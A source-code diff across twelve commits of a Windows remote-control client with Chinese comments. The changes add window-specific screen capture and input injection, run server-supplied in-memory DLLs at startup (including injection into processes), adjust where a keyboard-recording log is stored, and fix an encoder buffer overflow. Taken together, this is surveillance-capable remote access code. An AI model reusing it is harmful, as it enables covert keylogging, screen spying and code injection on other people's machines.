Compare commits
12 Commits
v1.3.6
...
837d89c8b5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
837d89c8b5 | ||
|
|
c1433b4b5d | ||
|
|
71963b740b | ||
|
|
5b37df26fd | ||
|
|
851fed4739 | ||
|
|
103123f533 | ||
|
|
66c950cecb | ||
|
|
91d4c0a523 | ||
|
|
abafd673a2 | ||
|
|
2765d95950 | ||
|
|
931492a294 | ||
|
|
d3b9e7faae |
@@ -210,9 +210,10 @@ int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
|||||||
uint32_t width, uint32_t height,
|
uint32_t width, uint32_t height,
|
||||||
int direction)
|
int direction)
|
||||||
{
|
{
|
||||||
int signed_height = direction * (int)height;
|
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
|
||||||
int w = (int)width;
|
int w = m_ctx->width;
|
||||||
int h = (int)height;
|
int h = m_ctx->height;
|
||||||
|
int signed_height = direction * h;
|
||||||
int y_size = w * h;
|
int y_size = w * h;
|
||||||
int uv_size = (w / 2) * (h / 2);
|
int uv_size = (w / 2) * (h / 2);
|
||||||
m_i420Scratch.resize(y_size + 2 * uv_size);
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
@@ -249,8 +250,12 @@ int CFFmpegH264Encoder::encode(
|
|||||||
if (!m_ctx || !m_frame || !m_packet) return -1;
|
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||||
if (av_frame_make_writable(m_frame) < 0) return -1;
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
int w = (int)width;
|
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
|
||||||
int h = (int)height;
|
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
|
||||||
|
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
|
||||||
|
// past the end of m_frame->data[0] → heap corruption / access violation.
|
||||||
|
int w = m_ctx->width;
|
||||||
|
int h = m_ctx->height;
|
||||||
int signed_height = direction * h;
|
int signed_height = direction * h;
|
||||||
|
|
||||||
if (bpp == 32) {
|
if (bpp == 32) {
|
||||||
|
|||||||
@@ -12,6 +12,8 @@ extern "C" {
|
|||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extern void licenseInit();
|
||||||
|
|
||||||
// Check if CPU supports AVX2 instruction set
|
// Check if CPU supports AVX2 instruction set
|
||||||
static BOOL IsAVX2Supported()
|
static BOOL IsAVX2Supported()
|
||||||
{
|
{
|
||||||
@@ -214,6 +216,8 @@ int main(int argc, const char *argv[])
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
licenseInit();
|
||||||
|
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||||
@@ -338,6 +342,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
"CPU 不兼容", MB_ICONERROR);
|
"CPU 不兼容", MB_ICONERROR);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
licenseInit();
|
||||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||||
break;
|
break;
|
||||||
@@ -566,6 +571,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
std::string expiredDate;
|
std::string expiredDate;
|
||||||
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
||||||
if (isAuthKernel) ParseAuthServer(&settings);
|
if (isAuthKernel) ParseAuthServer(&settings);
|
||||||
|
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
|
||||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||||||
VERIFY_V2_AND_SET_AUTHORIZED();
|
VERIFY_V2_AND_SET_AUTHORIZED();
|
||||||
@@ -584,7 +590,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
|
|
||||||
app.SetThreadRun(TRUE);
|
app.SetThreadRun(TRUE);
|
||||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
|
||||||
|
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||||||
while (app.m_bIsRunning(&app)) {
|
while (app.m_bIsRunning(&app)) {
|
||||||
ULONGLONG dwTickCount = GetTickCount64();
|
ULONGLONG dwTickCount = GetTickCount64();
|
||||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||||
|
|||||||
@@ -342,6 +342,7 @@ protected:
|
|||||||
|
|
||||||
void *m_main = NULL;
|
void *m_main = NULL;
|
||||||
public:
|
public:
|
||||||
|
BOOL m_isAuth = FALSE;
|
||||||
std::string m_LoginMsg; // 登录消息摘要
|
std::string m_LoginMsg; // 登录消息摘要
|
||||||
std::string m_LoginSignature; // 登录消息签名
|
std::string m_LoginSignature; // 登录消息签名
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -50,11 +50,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
|
||||||
{
|
{
|
||||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||||
tKeyboard->run = FOREVER_RUN;
|
tKeyboard->run = FOREVER_RUN;
|
||||||
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||||
|
sub->m_isAuth = isAuth;
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
tKeyboard->p = sub;
|
tKeyboard->p = sub;
|
||||||
tKeyboard->conn = conn;
|
tKeyboard->conn = conn;
|
||||||
@@ -80,11 +81,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
|||||||
m_hKeyboard = kb;
|
m_hKeyboard = kb;
|
||||||
// C2C 初始化
|
// C2C 初始化
|
||||||
if (conn) m_MyClientID = conn->clientID;
|
if (conn) m_MyClientID = conn->clientID;
|
||||||
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
|
|
||||||
static int n = RestoreMemDLL();
|
|
||||||
if (n) {
|
|
||||||
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||||
@@ -280,10 +276,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||||
&CKernelManager::g_IsAppExit);
|
&CKernelManager::g_IsAppExit);
|
||||||
}
|
}
|
||||||
else {
|
else if (This){
|
||||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||||
}
|
}
|
||||||
if (r || (time(0)-start < 15)) {
|
if (This && (r || (time(0)-start < 15))) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
@@ -304,10 +300,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||||
&CKernelManager::g_IsAppExit);
|
&CKernelManager::g_IsAppExit);
|
||||||
}
|
}
|
||||||
else {
|
else if (This){
|
||||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||||
}
|
}
|
||||||
if (r || (time(0)-start < 15)) {
|
if (This && (r || (time(0)-start < 15))) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
@@ -331,7 +327,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
|
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
ClientMsg msg("代码注入", buf);
|
ClientMsg msg("代码注入", buf);
|
||||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||||
}
|
}
|
||||||
SAFE_DELETE(dll);
|
SAFE_DELETE(dll);
|
||||||
SAFE_DELETE(runner);
|
SAFE_DELETE(runner);
|
||||||
@@ -648,8 +644,9 @@ std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHa
|
|||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
int CKernelManager::RestoreMemDLL() {
|
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
|
||||||
binFile bin(CLIENT_PATH);
|
binFile bin(CLIENT_PATH);
|
||||||
|
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||||
|
|
||||||
// 枚举所有以 .md5 结尾的值名称
|
// 枚举所有以 .md5 结尾的值名称
|
||||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||||
@@ -707,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
|
|||||||
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
||||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
||||||
BYTE* data = m_MemDLL[md5].data();
|
BYTE* data = m_MemDLL[md5].data();
|
||||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
|
||||||
|
|
||||||
// 更新注册表中的运行时状态
|
// 更新注册表中的运行时状态
|
||||||
// 如果有时间间隔限制,更新 LastRunTime
|
// 如果有时间间隔限制,更新 LastRunTime
|
||||||
@@ -727,7 +724,7 @@ int CKernelManager::RestoreMemDLL() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return count;
|
return m_MemDLL;
|
||||||
}
|
}
|
||||||
|
|
||||||
template<typename T = DllExecuteInfo>
|
template<typename T = DllExecuteInfo>
|
||||||
|
|||||||
@@ -25,7 +25,7 @@
|
|||||||
// 根据配置决定采用什么通讯协议
|
// 根据配置决定采用什么通讯协议
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
|
||||||
|
|
||||||
class ActivityWindow
|
class ActivityWindow
|
||||||
{
|
{
|
||||||
@@ -184,7 +184,6 @@ public:
|
|||||||
uint64_t m_MyClientID = 0;
|
uint64_t m_MyClientID = 0;
|
||||||
// 执行代码
|
// 执行代码
|
||||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||||
int RestoreMemDLL();
|
|
||||||
void SetLoginMsg(const std::string& msg)
|
void SetLoginMsg(const std::string& msg)
|
||||||
{
|
{
|
||||||
m_LoginMsg = msg;
|
m_LoginMsg = msg;
|
||||||
@@ -295,4 +294,6 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
|
||||||
|
|
||||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||||
|
|||||||
@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
clip::set_error_handler(NULL);
|
clip::set_error_handler(NULL);
|
||||||
#endif
|
#endif
|
||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
|
||||||
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
|
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
std::string fileName = GetExeHashStr() + ".db";
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
GET_FILEPATH(path, fileName.c_str());
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
|
|||||||
@@ -170,6 +170,8 @@ public:
|
|||||||
|
|
||||||
// 感兴趣区域 (ROI)
|
// 感兴趣区域 (ROI)
|
||||||
RECT m_ROI = {0,0,0,0};
|
RECT m_ROI = {0,0,0,0};
|
||||||
|
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
|
||||||
|
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口(NULL=保持原 HWND)
|
||||||
int m_nScaleSendWidth = 0;
|
int m_nScaleSendWidth = 0;
|
||||||
int m_nScaleSendHeight = 0;
|
int m_nScaleSendHeight = 0;
|
||||||
|
|
||||||
@@ -859,6 +861,7 @@ public:
|
|||||||
void ensureEncoder(int width, int height)
|
void ensureEncoder(int width, int height)
|
||||||
{
|
{
|
||||||
if (m_encoder) return;
|
if (m_encoder) return;
|
||||||
|
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1,1→0,触发内部 strdup 泄漏;< 2 一并拦住
|
||||||
EncoderRequest req;
|
EncoderRequest req;
|
||||||
req.width = width;
|
req.width = width;
|
||||||
req.height = height;
|
req.height = height;
|
||||||
|
|||||||
@@ -31,6 +31,9 @@
|
|||||||
#include <audioclient.h>
|
#include <audioclient.h>
|
||||||
#include <functiondiscoverykeys_devpkey.h>
|
#include <functiondiscoverykeys_devpkey.h>
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; }
|
||||||
|
|
||||||
bool IsWindows8orHigher()
|
bool IsWindows8orHigher()
|
||||||
{
|
{
|
||||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||||
@@ -153,7 +156,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
m_ScreenSettings.QualityLevel = quality;
|
||||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||||
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
||||||
@@ -471,6 +474,19 @@ void CScreenManager::InitScreenSpy()
|
|||||||
DXGI = param->buffer[0];
|
DXGI = param->buffer[0];
|
||||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||||
all = param->length > 2 ? param->buffer[2] : all;
|
all = param->length > 2 ? param->buffer[2] : all;
|
||||||
|
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获;
|
||||||
|
// 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
|
||||||
|
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
|
||||||
|
uint64_t hwnd64 = 0;
|
||||||
|
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
|
||||||
|
if (hwnd64 == (uint64_t)-1) {
|
||||||
|
m_bDynamicForeground = true;
|
||||||
|
m_hTargetWnd = GetForegroundWindow();
|
||||||
|
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
|
||||||
|
} else if (hwnd64) {
|
||||||
|
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
m_pUserParam = param;
|
m_pUserParam = param;
|
||||||
} else {
|
} else {
|
||||||
@@ -481,6 +497,11 @@ void CScreenManager::InitScreenSpy()
|
|||||||
if (level >= 0 && level < QUALITY_COUNT) {
|
if (level >= 0 && level < QUALITY_COUNT) {
|
||||||
algo = m_QualityProfiles[level].algorithm;
|
algo = m_QualityProfiles[level].algorithm;
|
||||||
}
|
}
|
||||||
|
// 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力
|
||||||
|
if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
|
||||||
|
DXGI = USING_GDI;
|
||||||
|
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
|
||||||
|
}
|
||||||
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
||||||
m_ScreenSettings.ScreenType = DXGI;
|
m_ScreenSettings.ScreenType = DXGI;
|
||||||
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
||||||
@@ -531,12 +552,16 @@ void CScreenManager::InitScreenSpy()
|
|||||||
} else {
|
} else {
|
||||||
SAFE_DELETE(s);
|
SAFE_DELETE(s);
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||||
|
}
|
||||||
|
// 用已保存的质量配置初始化码率,避免 CMD_QUALITY_LEVEL 到达时 0→3000 触发不必要重启
|
||||||
|
if (m_ScreenSpyObject && level >= 0 && level < QUALITY_COUNT) {
|
||||||
|
m_ScreenSpyObject->SetBitRate(m_QualityProfiles[level].bitRate);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -640,11 +665,15 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
|
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
|
||||||
if (!This->IsConnected()) continue;
|
if (!This->IsConnected()) continue;
|
||||||
if (!This->m_SendFirst && This->IsConnected()) {
|
if (!This->m_SendFirst && This->IsConnected()) {
|
||||||
|
// 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
|
||||||
|
HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
|
||||||
|
if (!_targetWnd || !IsIconic(_targetWnd)) {
|
||||||
This->m_SendFirst = TRUE;
|
This->m_SendFirst = TRUE;
|
||||||
This->SendBitMapInfo();
|
This->SendBitMapInfo();
|
||||||
Sleep(50);
|
Sleep(50);
|
||||||
This->SendFirstScreen();
|
This->SendFirstScreen();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
||||||
if (This->IsRunAsService() && !This->m_virtual) {
|
if (This->IsRunAsService() && !This->m_virtual) {
|
||||||
auto now = clock();
|
auto now = clock();
|
||||||
@@ -698,6 +727,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||||
}
|
}
|
||||||
|
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
|
||||||
|
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
|
||||||
|
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager,
|
||||||
|
// 否则 InitScreenSpy 会沿用旧 HWND,导致无限重建循环
|
||||||
|
if (This->m_ScreenSpyObject->m_NextTargetWnd)
|
||||||
|
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
|
||||||
|
SAFE_DELETE(This->m_ScreenSpyObject);
|
||||||
|
This->InitScreenSpy();
|
||||||
|
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
|
||||||
|
}
|
||||||
}
|
}
|
||||||
timeEndPeriod(1);
|
timeEndPeriod(1);
|
||||||
Mprintf("ScreenWorkThread Exit\n");
|
Mprintf("ScreenWorkThread Exit\n");
|
||||||
@@ -831,6 +870,33 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_WINDOW: {
|
||||||
|
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
|
||||||
|
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
|
||||||
|
if (mode == 0x00 && ulLength > 2) {
|
||||||
|
char title[512] = {};
|
||||||
|
int titleLen = ulLength - 2;
|
||||||
|
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
|
||||||
|
memcpy(title, szBuffer + 2, titleLen);
|
||||||
|
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
|
||||||
|
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
|
||||||
|
uint64_t val = 0;
|
||||||
|
memcpy(&val, szBuffer + 2, sizeof(uint64_t));
|
||||||
|
m_hTargetWnd = (HWND)(UINT_PTR)val;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
|
||||||
|
} else {
|
||||||
|
m_hTargetWnd = NULL;
|
||||||
|
m_bDynamicForeground = false;
|
||||||
|
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
|
||||||
|
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
|
||||||
|
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
|
||||||
|
}
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
|
||||||
|
}
|
||||||
|
RestartScreen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_ENCODE_LEVEL: {
|
case COMMAND_ENCODE_LEVEL: {
|
||||||
int encodeLevel = szBuffer[1];
|
int encodeLevel = szBuffer[1];
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -2047,9 +2113,13 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 窗口捕获模式:只能查看,不能控制
|
// 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上
|
||||||
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
|
if (m_ScreenSpyObject) {
|
||||||
return;
|
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
|
||||||
|
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
|
||||||
|
if (!SetForegroundWindow(hwndTarget))
|
||||||
|
return; // UIPI 等原因置前失败,不向错误窗口注入输入
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||||
|
|||||||
@@ -64,6 +64,8 @@ public:
|
|||||||
BOOL m_bIsWorking;
|
BOOL m_bIsWorking;
|
||||||
BOOL m_bIsBlockInput;
|
BOOL m_bIsBlockInput;
|
||||||
RECT m_ROI = {0};
|
RECT m_ROI = {0};
|
||||||
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||||
|
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发)
|
||||||
BOOL m_SwitchScreen = TRUE;
|
BOOL m_SwitchScreen = TRUE;
|
||||||
BOOL SendClientClipboard(BOOL fast);
|
BOOL SendClientClipboard(BOOL fast);
|
||||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
